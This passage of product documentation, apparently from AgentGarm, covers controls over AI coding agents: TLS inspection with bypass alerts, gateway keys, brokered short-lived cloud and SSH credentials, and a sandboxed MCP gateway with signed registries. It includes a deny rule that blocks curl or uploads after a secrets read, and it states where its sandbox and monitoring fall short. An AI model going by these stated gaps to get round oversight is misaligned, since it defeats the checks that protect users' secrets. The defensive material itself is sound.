launch's bundle. Apple's /usr/bin/python3 and /usr/bin/ruby ignore it (use a Homebrew or pyenv build), and so do Electron apps. Go on macOS. Go 1.26 and earlier read only the system keychain there, so a Go program refuses: build it with Go 1.27 or later, or exempt the site. inspect check judges Go by its version and does not launch it. Java. Java ignores the variables: start the agent with agentgarm run --java-trust. It builds a PKCS#12 trust store from your JDK's own roots and the launch's CAs with the JDK's keytool, and sets JAVA_TOOL_OPTIONS and JDK_JAVA_OPTIONS (after yours) to use it and the proxy, dropping _JAVA_OPTIONS. It needs a JDK (JAVA_HOME, or /usr/libexec/java_home on macOS); without one the launch goes on and says so once. It refuses a cache directory whose path holds a space, since the JVM splits its options on spaces. A tool you cannot make trust it, or one that pins its own certificates, needs its site under exempt: never opened, reported as exempt. Other sites left uninspected. A site that asks for a client certificate goes as a plain tunnel (refused with on_uninspectable: refuse); a tool whose first bytes are not TLS, or a body AgentGarm cannot read, is sent in Audit and Alert and refused in Block; WebSockets, exempt sites, MCP servers and a browser shim's browsers go uninspected; a site no certificate can be issued for goes uninspected with an alert, or gets 502 in Block; and a task on an older list needs a restart. Each is recorded with its reason, and the dashboard says what to do. Carried past inspection. A connection that names one site and then greets another, real encrypted ClientHello (ECH) on a connection opened by address, a handshake that cannot be read, or a tool refusing the certificate in Block raises a bypass alert and lowers the task to C; in Block the connection is closed. The ECH placeholder browsers send on every connection does not count. Explain the record and tell your admin. Probe each runtime, and Java with its trust store agentgarm inspect check agentgarm inspect check --runtime java --java-trust Start an agent with Java's trust store agentgarm run --java-trust -- claude A site never inspected, under network.inspect # Never terminated: a tool here keeps its own certificate list. exempt: [dpaste.org] Next guide: Give Claude Code a per-developer gateway keypreviewAll how-to guides # Give Claude Code a per-developer gateway key URL: https://agentgarm.com/docs/how-to/proxy-keys Docs › How-to guides › Give Claude Code a per-developer gateway key Guide 22 of 61 · Protecting secrets and data Give Claude Code a per-developer gateway key Give each developer their own gateway key from Central Lite and let Claude Code fetch it through apiKeyHelper; a claude.ai login is never routed. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Have Central Lite issue each developer their own gateway key, let Claude Code fetch it from agentgarmd through apiKeyHelper, and route its calls through the proxy to your organisation's gateway under that key; a revoked or expired key then stops working on every machine, and a claude.ai login is never routed. On this page 1.Know why a subscription login is refused 2.Bind the developer to a principal in Central Lite 3.Issue the key 4.Point apiKeyHelper at agentgarm 5.Run Claude Code and check the route 6.Rotate or revoke a key 1. Know why a subscription login is refused AgentGarm never routes, stores or reuses subscription credentials. When Claude Code runs through agentgarm run, its model calls go to the proxy, and a call carrying a claude.ai login (or a ChatGPT-plan one) is refused with 403 before anything is forwarded: “AgentGarm does not route subscription (claude.ai or ChatGPT plan) credentials. Use an API key or your gateway-issued key (apiKeyHelper).” The proxy raises a bypass alert naming only the credential's class, and never logs or keeps the token. Tunnels to claude.ai and chatgpt.com are refused too. API keys and gateway keys pass through untouched. A gateway key also tells AgentGarm which developer made each call. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 2. Bind the developer to a principal in Central Lite Gateway keys come from Central Lite and reach only machines enrolled in it, which takes a root install. On the Central Lite host, add a principal for the developer and bind their login name to it, on every host or one; each change publishes a new version of the identity registry. garm-central identity show lists principals with their ids. If your identity provider provisions people through SCIM, the developer's principal is already there, and their login name too if you bind logins from SCIM (Provision and remove people with SCIM). Enrol the developer's machine, root install sudo agentgarm node enrol # reads the one-time enrolment token from stdin Add a principal and bind a login name, on the Central Lite host garm-central identity principal add --kind human --name "Ada Lovelace" garm-central identity show garm-central identity bind --principal --username ada See also Give every agent an owner and an identityRegister each person and agent in Central Lite's identity registry, issue and revoke gateway keys, and see which identity every task belongs to. 3. Issue the key garm-central identity key issue mints a key for an active principal (agk_ and 64 hex digits), seals it in Central Lite's keystore and never prints it. It expires after 2,160 hours by default, 8,784 at most. Central Lite delivers it over the control channel to each enrolled machine the principal is bound to, where agentgarmd seals it in its own keystore, bound to the credential and the principal. On the developer's machine, agentgarm identity lists the gateway keys held for you, by credential, with their state; never the key itself. Issue a gateway key, on the Central Lite host garm-central identity key issue --principal See the keys held for you, on the developer's machine agentgarm identity Checked by the walk: this command ran as written on a Linux node enrolled in Central Lite. 4. Point apiKeyHelper at agentgarm agentgarm identity api-key prints your newest usable gateway key on stdout and nothing else, and exits non-zero when none is held. agentgarmd releases it only to the account its principal is bound to, never a revoked or expired one, and logs the release by credential id only. It answers inside a governed task, since Claude Code itself asks. Set Claude Code's apiKeyHelper setting to that command, "apiKeyHelper": "agentgarm identity api-key", in the managed settings your organisation deploys (/etc/claude-code/ on Linux, /Library/Application Support/ClaudeCode/ on macOS). With apiKeyHelper set, Claude Code skips its server-managed settings fetch, so deliver Claude Code's managed settings by file or MDM. A managed apiKeyHelper applies to every Claude Code launch on the machine, not only those through agentgarm run, and a launch outside it sends the gateway key to whatever endpoint Claude Code would use otherwise. Roll the setting out only once every launch goes through the gateway route below. Print your gateway key agentgarm identity api-key 5. Run Claude Code and check the route Start Claude Code with agentgarm run, which points its model traffic at the proxy. The proxy matches the key to your credential and principal, records them on each model call, and forwards the key unchanged; the key itself is never logged or stored. AgentGarm does not exchange it for a provider key, so it works only when the session's anthropic route points at your organisation's gateway, which accepts these keys (agentgarm-session --upstream anthropic=https://). It does not work against api.anthropic.com, the route's default. agentgarm status shows whether the session's proxy answers and each task's assurance level, and agentgarm identity your spend over 30 days by credential. Run Claude Code governed agentgarm run -- claude Check the proxy and your spend by key agentgarm status agentgarm identity See also See what each task costRoute an agent's model calls through AgentGarm so each one is counted and priced, and read the spend by provider and model. 6. Rotate or revoke a key --rotates issues a new key and revokes the old credential in the same action. To end a key, revoke its credential: Central Lite puts it on the signed revocation list and erases its sealed key, and each machine erases its copy once it receives the list from Central Lite. Within a minute after that, its proxy refuses any call that presents the key, with 403 and “AgentGarm: this gateway key is revoked or no longer usable; get a current one (agentgarm identity api-key)”, and forwards nothing. An expired key is refused the same way. When a developer leaves and your identity provider deactivates them through SCIM, their principal is suspended and the registry published at once, which ends every key AgentGarm issued them the same way, with no command here (offboard someone). Rotate or revoke, on the Central Lite host garm-central identity key issue --principal --rotates garm-central identity credential revoke --reason "laptop lost" Next guide: Give agents short-lived AWS, GCP and SSH credentialspreviewAll how-to guides # Give agents short-lived AWS, GCP and SSH credentials URL: https://agentgarm.com/docs/how-to/cloud-credentials Docs › How-to guides › Give agents short-lived AWS, GCP and SSH credentials Guide 23 of 61 · Protecting secrets and data Give agents short-lived AWS, GCP and SSH credentials Seal AWS, GCP and SSH credentials in agentgarmd; each task started with agentgarm run gets short-lived ones, and the sealed ones never reach the agent. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Seal your AWS key, GCP bearer token and SSH CA in agentgarmd, name a role, a service account and SSH principals in policy, and every task you start with agentgarm run gets its own short-lived role session, access token and SSH certificate, revoked when the task ends (what the provider already issued stays valid until it expires); the sealed credentials never enter the agent's environment or files. On this page 1.Seal the upstream credentials in agentgarmd 2.Turn the broker on in policy 3.Let AWS tools fetch a role session 4.Let Google Cloud tools read a task token 5.Sign in over SSH with a task certificate 6.Give each task its own model provider key 7.Know what the agent can and cannot see 1. Seal the upstream credentials in agentgarmd The credential broker is Phase 3 work: built, but not yet claimed. It issues credentials only to tasks started with agentgarm run, and it starts from upstream credentials you seal in agentgarmd's secret store with agentgarmd broker secret set, which reads the secret from stdin until end of input, never from an argument. On a root install run it with sudo; on a no-root install add --user. For aws, give an access key as : (with : when it is temporary) or as JSON, which also takes region, endpoint and external_id. For gcp, give a bearer token the broker sends to IAM Credentials' generateAccessToken; the broker never refreshes it, so seal a new one before it expires. For ssh, give your CA's Ed25519 seed: 32 raw bytes or 64 hex digits. Each is sealed under the id default unless you pass --id (letters, digits, ., _, : and - only, at most 128 characters; a provider name is at most 64), and a policy rule picks another id with secret_id. The exceptions: for vault and secrets_manager a secret_id may instead be the secret's path in Vault or Secrets Manager, and the SSH CA is always read from default. agentgarmd broker secret list prints each provider and id, never a value. Seal the upstream credentials, root install sudo agentgarmd broker secret set aws # paste the key, then Ctrl-D sudo agentgarmd broker secret set gcp sudo agentgarmd broker secret set ssh sudo agentgarmd broker secret list Seal the upstream credentials, no-root install agentgarmd broker secret set aws --user agentgarmd broker secret list --user 2. Turn the broker on in policy Under security_boundaries.credentials, set broker: true and list a rule per provider: an AWS rule names the role_arn the broker assumes, a GCP rule the service_account it mints tokens for and their scopes, and ssh the principals the certificate carries. Each rule's ttl_seconds sets how long what it issues lasts (3600 when unset). An AWS rule's delivery defaults to credential_process and a GCP rule's to metadata_shim; SSH is always served through an agent socket. In brokered mode agentgarm run also strips your exported model provider keys, such as ANTHROPIC_API_KEY and OPENAI_API_KEY, from the agent's environment, on top of the cloud and SSH variables it always removes. strip_ambient: false keeps those provider keys (for a policy that brokers only cloud credentials while the agent uses your own model key); strip_ambient: true strips them without the broker. Restart agentgarmd so it loads the policy. A policy that brokers AWS, GCP and SSH security_boundaries: credentials: broker: true providers: - provider: aws role_arn: "arn:aws:iam::123456789012:role/agent-task" ttl_seconds: 900 delivery: credential_process - provider: gcp service_account: "agent-task@example-project.iam.gserviceaccount.com" scopes: ["https://www.googleapis.com/auth/cloud-platform.read-only"] ttl_seconds: 3600 delivery: metadata_shim ssh: ca: sealed principals: [deploy] ttl_seconds: 1800 Restart agentgarmd to load the policy sudo systemctl restart agentgarmd # root install, Linux sudo launchctl kickstart -k system/com.agentgarm.agentgarmd # root install, macOS systemctl --user restart agentgarmd # no-root install, Linux launchctl kickstart -k gui/$(id -u)/com.agentgarm.agentgarmd # no-root install, macOS See also Limit what an agent can read, write and reachDecide which files an agent may read and write and which hosts it may reach, know which layer holds each rule, and recognise a denial. 3. Let AWS tools fetch a role session For an AWS rule, agentgarm run writes a per-task AWS config file whose credential_process is agentgarm credential aws, and points AWS_CONFIG_FILE at it. When the AWS CLI or an SDK needs credentials, it runs that command, which asks agentgarmd for an STS AssumeRole session for the task and prints it as credential_process JSON. On macOS the sandbox stops the agent rewriting the file. A session lasts 900 to 43,200 seconds, and at most 3600 when the sealed key is itself temporary, which the broker detects; an inline session_policy of up to 2048 characters narrows it further. Outside a governed task, after the task ends or once the credential is revoked, the command exits 2, with its reason on stderr and nothing on stdout. Model calls on the bedrock route are signed by the proxy with a session leased the same way. Run the agent with brokered credentials agentgarm run -- claude Fetch the task's AWS session yourself, inside the task agentgarm credential aws See also Give Claude Code a per-developer gateway keyGive each developer their own gateway key from Central Lite and let Claude Code fetch it through apiKeyHelper; a claude.ai login is never routed. 4. Let Google Cloud tools read a task token For a GCP rule, agentgarm run asks agentgarmd for an access token for the rule's service account before the agent starts, writes it to a 0600 file in the task's cache directory, and sets CLOUDSDK_AUTH_ACCESS_TOKEN_FILE to it, which gcloud reads. It also sets GCE_METADATA_HOST to the proxy's loopback port, where a stand-in for the GCE metadata server answers Google Cloud client libraries with the task's token, only for processes in a task whose policy brokers GCP and only with Metadata-Flavor: Google. No service account key file is written. A token lasts up to 3600 seconds by default; longer, up to 43,200, works only where your organisation allows extended service account lifetimes. agentgarm credential gcp prints the task's token as JSON, --raw prints the token alone, and --write-token-file writes it to a 0600 file you name, with --refresh-within-secs rewriting it only near its expiry. Nothing refreshes the token file agentgarm run wrote: once its token expires, gcloud stops working until the task is started again, and on macOS that file is write-denied to the agent, so it cannot be rewritten from inside the task. Client libraries get a fresh token from the metadata stand-in. Show the task's GCP token, inside the task agentgarm credential gcp 5. Sign in over SSH with a task certificate With ssh in the policy, agentgarmd makes a fresh Ed25519 key for the task, has your CA sign an OpenSSH user certificate for it with the policy's principals and lifetime (60 to 86,400 seconds), and serves both through a read-only ssh-agent socket that agentgarm run sets as SSH_AUTH_SOCK. The CA is the sealed seed (ca: sealed), or HashiCorp Vault's SSH secrets engine with ca: vault and a vault_role. Your own agent socket is removed from the environment. The private key never leaves agentgarmd. The socket answers only identity and signing requests, only from processes of that task, and only while the certificate is valid and unrevoked; it refuses adding, removing and locking keys, and is removed when the task ends. agentgarm credential ssh prints the certificate's details, and --raw just the socket path. Show the task's SSH certificate, inside the task agentgarm credential ssh 6. Give each task its own model provider key The broker can also give each task a model provider key of its own. For openai, seal an OpenAI admin key and name the project in the rule's service_account: the broker creates a project service account for the task and deletes it when the task ends. Anthropic's Admin API cannot create keys, so for anthropic seal a pool of keys you made in its Console, as :: (more : pairs after commas) or as JSON: the broker activates one key for the task, holds it until the task ends or for max_ttl_seconds at most (43,200 by default), and deactivates it. A vault or secrets_manager rule can serve keys from a pool the same way, one task per entry; an exhausted pool denies rather than share a key. By default (delivery: proxy_inject) the agent's OPENAI_API_KEY or ANTHROPIC_API_KEY holds only a placeholder, and the proxy puts the task's key on each model call, so the agent never holds it; if the broker refuses the key, the call gets 503 and nothing is forwarded. delivery: env puts the key in the agent's environment instead. Each call is recorded under the key's credential. 7. Know what the agent can and cannot see The agent can see the short-lived credentials its tools fetch, and its environment holds the task's id and token, which is how agentgarm credential proves it is in the task. It never sees the sealed upstream credentials: agentgarmd releases one for a single call to an unprivileged helper, agentgarm-broker, which makes the request and exits. Before the agent starts, a canary inside the sandbox checks that credential files such as ~/.aws, ~/.ssh and ~/.config/gcloud, AgentGarm's own state, and credential variables are out of reach, and the launch is refused if any is not. On Linux the sandbox cannot close a desktop session's sockets, such as your own ssh-agent, so such a session is rated C. When the task ends its credentials are revoked, and on a node enrolled in Central Lite garm-central identity credential revoke revokes one sooner, by the id garm-central node show lists it under. Revocation at the end of a task is immediate; one from Central Lite takes effect when the node applies Central Lite's signed revocation list. Either stops new issues and the SSH socket, but an AWS session or GCP token already handed out stays valid at the provider until it expires, so keep ttl_seconds short. Revoke a brokered credential from Central Lite garm-central identity credential revoke --reason "task misuse" See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. Next guide: Run MCP servers through the gatewaypreviewAll how-to guides # Run MCP servers through the gateway URL: https://agentgarm.com/docs/how-to/mcp-gateway Docs › How-to guides › Run MCP servers through the gateway Guide 24 of 61 · Protecting secrets and data Run MCP servers through the gateway List the MCP servers an agent may use, pinned to a package and hash, and run each through the gateway, where agentgarmd decides every tool call first. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. List the MCP servers your agent may use in its policy, pinned to an exact package and hash; point the agent's MCP configuration at the gateway; and each stdio server then runs in a sandbox of its own, inside the agent's task, with each tool call decided by agentgarmd before the server sees it. On this page 1.Declare the server in policy 2.Point the agent at the gateway 3.Start the agent inside a task 4.Know what each server's sandbox allows 5.Decide each tool call 6.Check the servers against advisories 7.See what the gateway did 8.Follow one server from policy to tool call 1. Declare the server in policy Add an mcp section under security_boundaries in your agent's policy, such as claude-code.yaml. Each server is an id and either a package named in packages or the url of a Streamable HTTP server; there is no way to give the gateway a command. A package entry needs an exact version and its integrity: the registry's sha512- hash for npm, or sha256: and the wheel's or sdist's hash for PyPI. Lint the file: it reports a server whose package packages does not list. Then restart agentgarmd, which reads the policy directory when it starts, as in the first guide. One npm server, pinned, with its sandbox security_boundaries: mcp: packages: - ecosystem: npm name: "@example/files-mcp" version: "2.3.1" integrity: "sha512-dKwwYx2jsNYzsQo3cvsJLbY0T9qnN4E2tlW/xSHIlrSecFHpe0HKJMm8oUVmjlVUrWWhECN+8b1v1zv+WxMJ1Q==" servers: - id: files package: "@example/files-mcp@2.3.1" sandbox: write_roots: ["${WORKSPACE}/out"] egress_hosts: ["api.example.test"] package_hosts: fetch Lint the policy, no-root install on Linux agentgarm policy lint ~/.config/agentgarm/agents.d/claude-code.yaml See also Allow only vetted MCP serversMirror the MCP registry, have Central Lite sign it for your machines, and let agents launch only servers resolved from that signed snapshot. 2. Point the agent at the gateway The agent's MCP configuration must start each server as agentgarm mcp run , the shim, which passes only the server id and relays the agent's messages. On a root install, sudo agentgarmd mcp-config install claude-code writes that entry for every server in the policy into Claude Code's machine-wide managed-mcp.json, so Claude Code loads only those servers from its own configuration (claude.ai connectors, Claude in Chrome and in-process SDK servers can still load). For codex it writes an allow-list into Codex's requirements.toml, which defines no server: Codex also needs each server in the user's own configuration, so run the install again with --for-user and that user's name. On a no-root install add --user, which rewrites your own ~/.claude.json, ~/.codex/config.toml or ~/.cursor/mcp.json; Cursor has only that form. Other agents have no such install: list the shim in their configuration yourself. When CODEX_HOME is set to an absolute path, the Codex install with --user writes $CODEX_HOME/config.toml instead, as Codex reads it; run status and remove with the same CODEX_HOME. With --for-user, root cannot see that user's CODEX_HOME, so pass it as --codex-home (a directory inside that user's home); without it the install writes ~/.codex/config.toml and says so. agentgarmd watches these files, restores them when they are changed and rewrites them when the policy changes. A server configured any other way in Claude Code's, Codex's or Cursor's configuration files is reported as MCP_UNGOVERNED and lowers the task's assurance. A server started from the command line or the shell is not detected yet. The command each MCP entry runs agentgarm mcp run files Codex's allow-list, root install sudo agentgarmd mcp-config install codex Codex's servers in a user's configuration, root install sudo agentgarmd mcp-config install codex --for-user 3. Start the agent inside a task The shim works only inside a governed task, so start the agent with agentgarm run. When the agent starts a server, the shim asks agentgarmd for a single-use ticket bound to the task and server, and agentgarm-session redeems it and launches the server from the policy's entry. If it cannot (outside a task, a server not in the policy, no agentgarmd or no session), the agent gets a JSON-RPC error starting AgentGarm MCP gateway: and the shim exits 1. For an agent whose MCP client speaks only HTTP, agentgarm run --mcp-listen opens a loopback listener for the task instead and writes its URL and token to a 0600 file named by $AGENTGARM_MCP_CONFIG; it is rated C, and it is refused for Claude Code while its managed-mcp.json exists. Run Claude Code with its servers agentgarm run -- claude 4. Know what each server's sandbox allows Before the server runs, the gateway fetches the package and checks it against the policy's hash; a range, a missing entry or a different hash and the server never starts. The server then runs in a sandbox of its own, in a private directory the agent cannot read: it can write the task's write roots and its sandbox.write_roots, its environment is a fixed allow-list, and its network goes through the proxy. It dies with its shim, its task or the session; on Linux with delegated cgroups it sits in the task's cgroup, under the task's limits. egress_hosts gives a stdio server a proxy listener of its own that reaches only those hosts and its package registry. On macOS the sandbox holds the server to that listener; on Linux it limits the port only, so a hostile server can reach other hosts on that port, and below Landlock ABI 4 it does not limit TCP at all. package_hosts: fetch closes the npm registry once the package is fetched. See also Limit what an agent can read, write and reachDecide which files an agent may read and write and which hosts it may reach, know which layer holds each rule, and recognise a denial. 5. Decide each tool call Every tools/call, resources/read and prompts/get is decided by agentgarmd, and only an allow reaches the server. A deny, an ask, or no answer within 250 ms is answered to the agent as an error, unless the server is marked on_decide_timeout: fail_open_alert, which forwards a call left undecided, or one agentgarmd cannot be reached for, with an alert and lowers the task's assurance; a policy in the strict or ephemeral profile does not compile with that setting. Tools take classes from tool_classes or AgentGarm's signed taxonomy; an unclassed tool counts as destructive and open_world, and a server's own hints can only add classes. flow_rules look at what the task tree did earlier, hook decisions included: with the rule below, a secret read followed by a curl or the server's upload tool is denied. On a root install with a presence key, an ask prompts for your approval and the agent's retry of the same call is allowed once; otherwise it is refused. In audit mode calls are allowed and the verdict recorded. The gateway also scans every message it relays, both ways, with the same secret rules as the proxy, under the policy's security_boundaries.dlp.on_secret. With alert, the default and what audit mode always does, a finding is recorded and the message goes through unchanged. In enforce mode, redact replaces each secret in the message's JSON strings with the same placeholder the proxy uses, before anything decides the message, and deny refuses the message. A message that cannot be redacted, or is over 4 MiB, is refused under either. Tool classes and flow rules tool_classes: read_credentials: [secrets_read] upload: [network_egress] flow_rules: - id: no-exfil deny: { after: secrets_read, tools: [network_egress] } - id: ask-before-posting ask: { after: fs_read, tools: [messaging_send] } See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 6. Check the servers against advisories agentgarm mcp audit reads the advisory pack agentgarmd verified and prints, for every server in your policies, what the gateway would do at launch: DENY for a known-malicious version or a policy set to deny, ALERT, OK, or NOT CHECKED for an HTTP server or a package missing from mcp.packages. It starts with the pack's state and exits 1 when a configured server would be refused. Add --json for scripts. Audit the policies' MCP servers agentgarm mcp audit 7. See what the gateway did The dashboard's MCP screen shows, per task, the servers launched and whether their package verified, the tools held back or quarantined, changed tool definitions, and advisory findings. The gateway is built but its configuration custody is not yet proven by a live run, so agentgarm status rates MCP C on every platform and install, and a policy that configures MCP keeps a launched session from rating B. Open the dashboard agentgarm ui --open Check the session's assurance agentgarm status The dashboard's MCP screen: the task filter and rating, then a tab per kind of record, each gated call with its decisionSee also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 8. Follow one server from policy to tool call The files server above runs through all three MCP guides, in order. Here it is declared, pinned and sandboxed, and its tool classes feed the flow rules. In the next guide its API token is sealed by agentgarmd, so the agent never holds it; in the registry guide, on a fleet, its version comes from your signed registry instead of a hand-written pin. On one machine, once the next guide has added env_secrets: [FILES_API_TOKEN] to the server, the whole path is: lint the policy, restart agentgarmd to load it, seal the token, audit the servers you allowed, then start the agent. Do the three guides in this order: each one assumes the server the one before it set up. The files server end to end, no-root install on Linux agentgarm policy lint ~/.config/agentgarm/agents.d/claude-code.yaml systemctl --user restart agentgarmd agentgarm mcp secret set files FILES_API_TOKEN agentgarm mcp audit agentgarm run -- claude See also Sign in to MCP servers without exposing tokensGive your MCP servers their API keys and OAuth sign-ins from your own terminal; agentgarmd seals each one and the agent never sees a token. Next guide: Sign in to MCP servers without exposing tokenspreviewAll how-to guides # Sign in to MCP servers without exposing tokens URL: https://agentgarm.com/docs/how-to/mcp-sign-in Docs › How-to guides › Sign in to MCP servers without exposing tokens Guide 25 of 61 · Protecting secrets and data Sign in to MCP servers without exposing tokens Give your MCP servers their API keys and OAuth sign-ins from your own terminal; agentgarmd seals each one and the agent never sees a token. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Give your MCP servers their API keys and OAuth sign-ins from your own terminal: agentgarmd seals each credential, releases it only to the gateway for the one server it belongs to, and the agent never sees a token. On this page 1.Name each server's credentials in policy 2.Seal a server's API key 3.Log in to an OAuth server 4.Sign in once through your company's IdP 5.Know where the credential is kept 6.Log in again when asked 1. Name each server's credentials in policy The gateway is the only client that holds credentials: the agent talks to each server through the shim and never authenticates, and an Authorization header it sends to a governed server is stripped. The policy names what each server needs. A stdio server takes environment variables, listed in env_secrets; a Streamable HTTP server takes static headers in header_secrets, an OAuth login described by oauth, or both. Only names go in the policy, never values. A variable the launcher, a loader or an interpreter reads, such as PATH or NODE_OPTIONS, is refused as a secret name. A stdio server, a header and an OAuth server security_boundaries: mcp: packages: - ecosystem: npm name: "@example/files-mcp" version: "2.3.1" integrity: "sha512-dKwwYx2jsNYzsQo3cvsJLbY0T9qnN4E2tlW/xSHIlrSecFHpe0HKJMm8oUVmjlVUrWWhECN+8b1v1zv+WxMJ1Q==" servers: - id: files package: "@example/files-mcp@2.3.1" env_secrets: [FILES_API_TOKEN] - id: tickets url: "https://mcp.tickets.example.test/mcp" header_secrets: [X-Api-Key] - id: docs url: "https://mcp.docs.example.test/mcp" oauth: issuer: "https://auth.docs.example.test" client_id: "agentgarm-gateway" scopes: ["docs:read"] See also Run MCP servers through the gatewayList the MCP servers an agent may use, pinned to a package and hash, and run each through the gateway, where agentgarmd decides every tool call first. 2. Seal a server's API key Run agentgarm mcp secret set with the server id and the name from the policy, in your own terminal, not inside a session started with agentgarm run: agentgarmd refuses it from inside a governed task. On a terminal it prompts and reads one line with echo off; piped input is read whole, with one trailing newline dropped. The value never goes on the command line. Setting it again replaces it. Add --header for a name in header_secrets: the session sends it only to that server's URL. If a secret is unset when the agent starts the server, the launch is refused with the agentgarm mcp secret set command to run. Seal a stdio server's environment secret agentgarm mcp secret set files FILES_API_TOKEN Seal a static header agentgarm mcp secret set tickets X-Api-Key --header 3. Log in to an OAuth server agentgarm mcp login runs the server's OAuth flow as you, again from outside every governed task. It opens your browser at the authorization server (the address is also printed; with --no-browser it is only printed) and waits 5 minutes. It uses PKCE S256 only, binds the request to the server's URL, checks the response's issuer, and receives the answer on a one-time listener on 127.0.0.1. The refresh and access tokens go straight to agentgarmd; the CLI keeps nothing. If the authorization server refuses offline_access, the login runs once more without it and says so: refreshing then works only while your session at the authorization server lasts. A stdio server is refused: use mcp secret set. Unless the policy pins the authorization server with oauth.issuer, everything the login reaches off the MCP server's own origin (the authorization server, its metadata and its endpoints) must be at a public address: one on a loopback, private or link-local address is refused, at login and at every later refresh. For an authorization server inside your network, pin its issuer, as the example does. Log in to an OAuth MCP server agentgarm mcp login docs Log in without opening a browser agentgarm mcp login docs --no-browser 4. Sign in once through your company's IdP When the policy names an enterprise IdP for a server (oauth.idp), log in with --idp: you sign in at the IdP, and that one sign-in serves every server naming the same IdP and client id. The gateway then exchanges it for each server's access token as needed (ID-JAG), with no login at the server; none of the chain reaches the agent. Plain agentgarm mcp login is refused for such a server, and --idp for one without oauth.idp. The gateway keeps no refresh token from the server, so disabling you at the IdP ends access within one access token, at most 15 minutes. A server reached through the IdP - id: wiki url: "https://wiki.example.test/mcp" oauth: issuer: "https://auth.wiki.example.test" client_id: "agentgarm-gateway" idp: { issuer: "https://idp.example.test", client_id: "agentgarm", scopes: [profile] } Sign in at the IdP agentgarm mcp login wiki --idp 5. Know where the credential is kept Each credential is a sealed secret in agentgarmd's state directory, encrypted under its sealing key and bound to your user and to its server: an OAuth token to the issuer and the server's URL, an API key to the server id and name. An IdP sign-in is bound to the IdP and its client id instead, not to a server. The sealing key is in the keychain on macOS; on a root Linux install it is sealed to the host's TPM 2.0 where there is one, else kept in a root-owned 0600 file reported as software. agentgarm status shows it on the seal-key line under key custody. agentgarmd releases a value only to agentgarm-session, for a launch of that server in a live task, and records every seal and release in the audit log without the value. An access token lives in the session's memory for at most 15 minutes. On a no-root Linux install the sealing key is a file you own, so any unsandboxed process of yours can read the store. See the sealing key's custody agentgarm status See also Export and verify the audit logExport AgentGarm's hash-chained audit log, check it against the node key that signs its heads, and know what a passing or broken check tells you. 6. Log in again when asked When the authorization server rejects the refresh token, or a refresh is interrupted, agentgarmd deletes the credential and raises an mcp-auth alert, and the next launch of that server is refused with the agentgarm mcp login command to run. The gateway never retries a refresh token it has already used. A refresh refused because the token endpoint is not at a public address keeps the credential and raises an mcp-auth alert instead; pin oauth.issuer rather than log in again. Run the login again from your own terminal; the agent's next start of the server gets the new credential. Log in again agentgarm mcp login docs Next guide: Allow only vetted MCP serverspreviewAll how-to guides # Allow only vetted MCP servers URL: https://agentgarm.com/docs/how-to/mcp-registry Docs › How-to guides › Allow only vetted MCP servers Guide 26 of 61 · Protecting secrets and data Allow only vetted MCP servers Mirror the MCP registry, have Central Lite sign it for your machines, and let agents launch only servers resolved from that signed snapshot. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Mirror the MCP registry on a machine that can reach it, read what you mirrored, have Central Lite sign it and send it to your enrolled machines, then let agents launch only servers resolved from that signed snapshot, with the package, its exact version and its integrity all taken from it. On this page 1.Mirror the registry on a machine that can reach it 2.Sign a copy and read what you mirrored 3.Import it into Central Lite 4.Check what a machine installed 5.Pin a version, or name it in policy 6.Withdraw a version 1. Mirror the registry on a machine that can reach it Your machines never call the MCP registry, and neither does Central Lite: an administrator mirrors it with agentgarm mcp registry seed, by default from the official registry (--registry names another, https:// only). Each server document is checked against its own pinned server.json schema; the rest are refused and counted (retired or unknown schema, invalid, duplicate). For each npm and PyPI package version it then asks the official package registry for the integrity lockdown will check: npm's sha512- dist.integrity, or the sha256 of the release's single pure-Python wheel. A package it cannot pin is unpinnable, a package of another ecosystem is unsupported_ecosystem, and a failed answer stays unresolved until the next seed retries it; none of them can be launched. It writes payload.json, header.bin and signing-input.bin into a new or empty directory, never replacing a file, and prints the counts. Mirror the official registry agentgarm mcp registry seed --out seed --sequence 1 2. Sign a copy and read what you mirrored search and show read only a snapshot that verifies, so to read the mirror before it goes anywhere, sign signing-input.bin with an Ed25519 key of your own. AgentGarm's binaries never sign: use any signer, giving 64 raw bytes or 128 hex digits. assemble checks the signature against --key (the key's id and its public half in hex) before it writes the snapshot, and verify checks the signature, the validity window and the minimum version before it reads the payload, refusing an expired snapshot. show prints each version's status, its namespace kind and who could have published it (for an io.github. namespace, an org admin or any GitHub Actions workflow in a repository the org owns), the publisher's text escaped with the tool-description checks' findings, and each package's integrity pin state. A publisher's own fileSha256 is shown as theirs and is never used as integrity. Assemble and read a reviewed snapshot agentgarm mcp registry assemble --header seed/header.bin --payload seed/payload.json --signature seed/signature.bin --key review=ed25519:$REVIEW_KEY --out seed/review.snapshot agentgarm mcp registry verify --snapshot seed/review.snapshot --key review=ed25519:$REVIEW_KEY agentgarm mcp registry search weather --snapshot seed/review.snapshot --key review=ed25519:$REVIEW_KEY agentgarm mcp registry show io.github.example-org/weather --snapshot seed/review.snapshot --key review=ed25519:$REVIEW_KEY 3. Import it into Central Lite garm-central registry import takes the seed's payload, checks it as a reader does, and replaces the mirrored versions; --header keeps its mirror time. Central Lite then signs the next snapshot with the org's policy role key, checks it as a machine will open it, and sends it over the control channel to every enrolled machine. A snapshot is valid for 30 days, and garm-central serve signs a fresh one when less than half of that is left; garm-central registry publish signs one at once. Central Lite also answers the registry's read API (/v0.1/servers) on its port from the newest signed snapshot, only to enrolled machines unless serve runs with --registry-api anonymous. Your org's own servers go in with registry server add, from their server.json and the integrity you state for their packages (--pins); a package without one stays unresolved and never launches. garm-central registry list shows every version with its origin (mirror or private), its status and each package's pin state, and garm-central registry show the newest snapshot. Import the mirror and list the registry garm-central registry import seed/payload.json --header seed/header.bin garm-central registry list Add one of your org's own servers garm-central registry server add --server server.json --pins pins.json 4. Check what a machine installed Only a root install enrolled in Central Lite receives the snapshot: a no-root install is never enrolled, so it has none, and every registry name its policy names is refused. The root agentgarmd checks the snapshot's signature and that it is newer than the last, without parsing its contents, and installs it readable by every local account, so anyone on the machine can read your org's private server list. agentgarm mcp registry installed 